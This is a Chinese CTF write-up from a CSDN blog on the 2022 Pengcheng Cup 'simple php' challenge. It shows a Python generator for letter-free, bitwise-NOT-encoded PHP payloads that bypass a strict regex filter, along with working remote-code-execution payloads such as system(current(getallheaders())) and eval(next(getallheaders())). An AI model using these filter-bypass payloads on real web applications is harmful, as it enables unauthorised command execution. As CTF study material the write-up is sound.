[鹏城杯 2022]简单的php 取反的另一种无数字字母rce 通过请求头执行命令

文章讲述了在2022年鹏城杯中,作者通过PHP脚本分析和利用无字母webshell,描述了如何绕过腾讯云开发者社区的过滤机制,利用特殊字符编码和数组执行来执行命令。重点介绍了通过[]操作符执行代码以及注意事项,如无参数命令执行限制。
摘要由CSDN通过智能技术生成

鹏城杯2022部分web-CSDN博客

无字母webshell | Bypass-腾讯云开发者社区-腾讯云

这里记录一下

首先获取过滤

if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code))

写个脚本看看还有什么没有被过滤

<?php 

for ($ascii=0; $ascii < 256; $ascii++){
    if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){
            echo chr($ascii);
    }
}

过滤的很死 但是放出来了几个字符 我们去

构造取反

exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

介绍一下原理

这里我们需要通过[] 来执行

[~%8f%97%8f%96%91%99%90] 这里是 [phpinfo]

[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西

[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo

[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo


然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();

代码执行成功

说明可行 那么我们就继续

这里我们需要思考如何可以

然后这里发现啥都没过滤 那么可以直接来执行咯

这里就按照其他师傅的样子 来请求头执行

system(current(getallheaders()));

执行命令

这里需要注意 这里是无参数命令执行 加入参数就无法实现

eval(hex2bin(session_id(session_start())));
 
print_r(current(get_defined_vars()));&b=phpinfo();
 
eval(next(getallheaders()));
 
var_dump(getenv(phpinfo()));
 
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
 
print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件

这里就结束了

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值